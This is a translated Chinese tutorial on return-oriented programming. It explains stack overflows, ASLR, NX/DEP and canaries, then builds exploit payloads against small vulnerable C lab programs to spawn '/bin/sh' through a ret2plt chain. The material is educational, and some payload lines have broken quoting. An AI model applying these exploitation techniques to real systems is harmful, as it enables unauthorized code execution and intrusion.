ROP內(nèi)存攻擊技術(shù)入門教程
一、前言
不可否認的是,不管是CTF賽事,還是二進制漏洞利用的過程中,ROP都是一個很基礎(chǔ)很重要的攻擊技術(shù)。
這一段是譯者自己加的,與原文無關(guān)。
ROP的全稱為Return-oriented programming(返回導(dǎo)向編程),這是一種高級的內(nèi)存攻擊技術(shù)可以用來繞過現(xiàn)代操作系統(tǒng)的各種通用防御(比如內(nèi)存不可執(zhí)行和代碼簽名等)。
ROP是一種攻擊技術(shù),其中攻擊者使用堆棧的控制來在現(xiàn)有程序代碼中的子程序中的返回指令之前,立即間接地執(zhí)行精心挑選的指令或機器指令組。
因為所有執(zhí)行的指令來自原始程序內(nèi)的可執(zhí)行存儲器區(qū)域,所以這避免了直接代碼注入的麻煩,并繞過了用來阻止來自用戶控制的存儲器的指令的執(zhí)行的大多數(shù)安全措施。
因此,ROP技術(shù)是可以用來繞過現(xiàn)有的程序內(nèi)部內(nèi)存的保護機制的。在學(xué)習(xí)下面的內(nèi)容之前,先確保自己已經(jīng)了解了基本的堆棧溢出的漏洞原理。
二、一個簡單的經(jīng)典緩沖區(qū)溢出例子
- #include <unistd.h>
- #include <stdio.h>
- void vuln(){
- char buffer[10];
- read(0,buffer,100);
- puts(buffer);
- }
- int main() {
- vuln();
- }
這個程序有明顯的緩沖區(qū)溢出攻擊。在vuln()函數(shù)中設(shè)置了10個字節(jié)的緩沖區(qū),而我們讀取的字節(jié)高達100個字節(jié)。read()的濫用導(dǎo)致了緩沖區(qū)溢出。
我們可以看看vuln函數(shù)調(diào)用時候,堆棧的情況:
- ADDRESS DATA
- 0xbfff0000 XX XX XX XX <- buffer
- 0xbfff0004 XX XX XX XX
- 0xbfff0008 XX XX XX XX
- 0xbfff000c XX XX XX XX
- ........
- 0xbfff0020 YY YY YY YY <- saved EBP address
- 0xbfff0024 ZZ ZZ ZZ ZZ <- return address
當緩沖區(qū)填充正確的大小時,可以修改保存的返回地址,允許攻擊者控制EIP,從而允許他執(zhí)行任意任意代碼。
三、緩沖區(qū)溢出防御措施
但是,在現(xiàn)代的系統(tǒng)中,有一些防御措施可以避免被攻擊:
- ALSR
- Stack Canaries
- NX/DEP
防御措施大概有這些內(nèi)容,原文作者只是簡單的介紹了一下,如果想更清晰了解,可以參考譯者博客。
1. NX/DEP
DEP表示數(shù)據(jù)執(zhí)行預(yù)防,此技術(shù)將內(nèi)存區(qū)域標記為不可執(zhí)行。通常堆棧和堆被標記為不可執(zhí)行,從而防止攻擊者執(zhí)行駐留在這些區(qū)域的內(nèi)存中的代碼。
2. ASLR
ASLR表示地址空間層隨機化。這種技術(shù)使共享庫,堆棧和堆被占用的內(nèi)存的地址隨機化。這防止攻擊者預(yù)測在哪里采取EIP,因為攻擊者不知道他的惡意有效載荷的地址。
3. Stack Canaries
下文簡稱為:Canary
在這種技術(shù)中,編譯器在堆棧幀的局部變量之后和保存的返回地址之前放置一個隨機化保護值。在函數(shù)返回之前檢查此保護,如果它不相同,然后程序退出。我們可以將它可視化為:
- ADDRESS DATA
- 0xbfff0000 XX XX XX XX <- buffer
- 0xbfff0004 XX XX XX XX
- 0xbfff0008 XX XX XX XX
- 0xbfff000c CC CC CC CC <- stack canary
- ........
- 0xbfff0020 YY YY YY YY <- saved EBP address
- 0xbfff0024 ZZ ZZ ZZ ZZ <- return address
如果攻擊者試圖修改返回地址,Canayr也將不可避免地被修改。因此,在函數(shù)返回之前,檢查這個Canayr,從而防止利用。
那么我們?nèi)绾卫@過這些防御措施呢?
四、Return Oritented Programming (ROP編程)
ROP是一個復(fù)雜的技術(shù),允許我們繞過DEP和ALSR,但不幸的是(或?qū)τ谟脩魜碚f幸運的是)這不能繞過Canary,但如果有額外的內(nèi)存泄漏,我們可以通過泄露,leak canary的值和使用它。
ROP re-uses ,即我們可以重用Bin文件或者Libc文件(共享庫)中的代碼。這些代碼,或者說指令,通常被我們稱作“ROP Gadget”。
下文,我們將來分析一下,一個特殊的ROP例子,我們稱作Return2PLT。應(yīng)該注意的是,只有l(wèi)ibc基地址被隨機化,特定函數(shù)從其基地址的偏移總是保持不變。如果我們可以繞過共享庫基地址隨機化,即使ASLR打開,也可以成功利用漏洞程序。
讓我們分析下,下面這個脆弱的代碼
- #include <stdio.h>
- #include <string.h>
- #include <unistd.h>
- #include <stdlib.h>
- void grant() {
- system("/bin/sh");
- }
- void exploitable() {
- char buffer[16];
- scanf("%s", buffer);
- if(strcmp(buffer,"pwned") == 0) grant();
- else puts("Nice try\n");
- }
- int main(){
- exploitable();
- return 0;
- }
我們上文說了,ROP技術(shù)并不能繞過Canay保護措施,所以我們編譯這個程序的時候需要關(guān)閉對戰(zhàn)保護程序。我們可以利用下面的命令編譯。
- $ gcc hack_me_2.c -o hack_me_2 -fno-stack-protector -m32
五、譯者的程序分析
我先看看代碼,再翻譯作者的文章。我們看到,在exploitable()函數(shù)中,設(shè)置了16字節(jié)的緩沖區(qū),但是值得我們注意的是scanf函數(shù)沒有安全的使用,這導(dǎo)致我們可以寫入超過16字節(jié),這就導(dǎo)致了緩沖區(qū)溢出的可能。我們用注意到,有個函數(shù)調(diào)用了sytem("/bin/sh"),這里我們就可以假設(shè),如果我們可以操作函數(shù)調(diào)轉(zhuǎn),去調(diào)用grant()函數(shù),我們就可以拿到shell了。 基本上思路就是這樣的。
讀取程序的內(nèi)存映射,我們可以看到它的棧是只讀/ 不可執(zhí)行的。
六、讓我們嘗試控制EIP
由于scanf不執(zhí)行綁定的check,因此我們可以通過覆蓋函數(shù)的返回地址來指向某個已知位置來控制EIP。我會嘗試指向它grant()達到getshell的目的。我們可以通過objdum工具,來獲取grant()的地址。
除了利用objdump來看,當然我們還是可以用IDA查找的。
objdump命令如下
- $ objdump -d ./hack_me_2 | grep grant
結(jié)果應(yīng)該看起來是這樣的
- 080484cb <grant>:
- 8048516:e8 b0 ff ff ff call 80484cb <grant>
接下來就是寫exp,達到目的了。
- $(python -c'print“A”* 28 +“\ xcb \ x84 \ x04 \ x08”' ; cat - )| ./hack_me_2
七、這里譯者補充幾點
第一: 為什么是28個字節(jié)?這個是需要我們自己去分析的,我們需要計算兩者直接字節(jié)數(shù)的值,才好控制跳轉(zhuǎn),畢竟本文是基于我們了解緩沖區(qū)溢出知識后的,如果有疑問,可以留言,或者自尋百度。
第二: 從代碼來看,我們可以知道原文作者的環(huán)境是基于32位的,所以這里需要了解一下小端的知識。
運行上述代碼之后,我們就可以成功getshell了。
很明顯,大多數(shù)程序不會為你調(diào)用shell這個很容易,我們需要修改程序讓demo更貼近現(xiàn)實一點。
- #include <stdio.h>
- #include <string.h>
- #include <unistd.h>
- #include <stdlib.h>
- char *shell = "/bin/sh";
- void grant() {
- system("cowsay try again");
- }
- void exploitable() {
- char buffer[16];
- scanf("%s", buffer);
- if(strcmp(buffer,"pwned") == 0) grant();
- else puts("Nice try\n");
- }
- int main(){
- exploitable();
- return 0;
- }
運行先前的exp,我們發(fā)現(xiàn)并沒有g(shù)etshell,那么我們怎么去調(diào)用sysytem(“/bin/sh”)呢?
分析,這次的程序并沒有直接調(diào)用 system("/bin/sh")了,但是漏洞產(chǎn)生的原理和之前的一樣。就不再復(fù)述了。
八、調(diào)用函數(shù)約定
當反匯編我們的代碼看起來像這樣的:
- 080484cb <grant>:
- 80484cb:55 push%ebp
- 80484cc:89 e5 mov%esp,%ebp
- 80484ce:83 ec 08 sub $ 0x8,%esp
- 80484d1:83 ec 0c sub $ 0xc,%esp
- 80484d4:68 e8 85 04 08 push $ 0x80485e8
- 80484d9:e8 b2 fe ff ff call 8048390 < system @ plt>
- 80484de:83 c4 10 add $ 0x10,%esp
- 80484e1:90 nop
- 80484e2:c9 leave
- 80484e3:c3 ret
- 080484e4 <exploitable>:
- 8048516:e8 b0 ff ff ff call 80484cb <grant>
- 804851b:eb 10 jmp 804852d <exploitable + 0x49>
讓我們簡單看看每個指令的作用。
在可利用的情況下,我們調(diào)用grant()使用指令去做兩件事情,推送下一個地址0x0804851b到堆棧,并更改EIP為0x080484cb 到grant()所在的地址
- push %ebp
- mov %esp,%ebp
這是函數(shù)的初始化。它為當前函數(shù)設(shè)置堆??蚣?。它通過push之前保存的一堆棧幀的基指針,然后將當前基指針更改為堆棧指針($ ebp = $ esp)?,F(xiàn)在grant()可以使用它的棧來存儲變量和whatnot。
之后,它通過從esp中減去來為局部變量分配空間(因為堆棧增長),最后0x080485e8在調(diào)用之前將地址壓入堆棧,system()它是指向?qū)⒆鳛閰?shù)傳遞的字符串的指針system(),它有點像
- system(*0x80485e8)
最后ret,將保存的 函數(shù)返回地址從堆棧的頂部pop出值到EIP。
九、構(gòu)建我們自己的堆棧幀
我們已經(jīng)看到了當函數(shù)被調(diào)用時堆棧的行為,這意味著
- 我們可以構(gòu)造我們自己的堆棧幀
- 控制參數(shù)到我們跳轉(zhuǎn)到的函數(shù)
- 確定此函數(shù)返回的位置
- 如果我們控制這兩者之間的堆棧,我們可以控制返回函數(shù)的參數(shù)
- 通過ROP鏈接在多個函數(shù)中跳轉(zhuǎn)
從objdump我們看到“/ bin / sh”的地址是 0x080485E0
- $ objdump -s -j .rodata hack_me_3
- hack_me_3: file format elf32-i386
- Contents of section .rodata:
- 80485d8 03000000 01000200 2f62696e 2f736800 ......../bin/sh.
- 80485e8 636f7773 61792074 72792061 6761696e cowsay try again
- 80485f8 00257300 70776e65 64004e69 63652074 .%s.pwned.Nice t
- 8048608 72790a00
我們構(gòu)造一個“假”的堆棧結(jié)構(gòu),然后修改函數(shù)的返回地址,這樣的堆棧結(jié)構(gòu)如下:
- ADDRESS DATA
- ........
- // exploitable() stack
- 0xbfff0004 80 48 4d 90 <- return address
- // our frame
- 0xbfff0008 41 41 41 41 <- saved return pointer, system()
- 0xbfff000c 08 04 85 E0 <- "/bin/sh"
所以以,當函數(shù)exploitable()返回時,它返回system(),將看到它返回地址為41414141和參數(shù)為“/bin/sh”,這將產(chǎn)生一個shell,但是當它返回時會彈出41414141到EIP,它是一個有效的地址,我們可以ROP連接他們,只要他們不需要參數(shù)。所以,我們最后的利用代碼是:
- $(python -c'print“A”* 28 +“\ x90 \ x83 \ x04 \ x08”+“\ x41 \ x41 \ x41 \ x41”+“\ xE0 \ x85 \ x04 \ x08” | ./hack_me_3
注:本文僅用于交流學(xué)習(xí)與安全研究,請勿對文中提及的內(nèi)容進行惡意使用!本平臺及作者對讀者的之后的行為不承擔任何法律責(zé)任。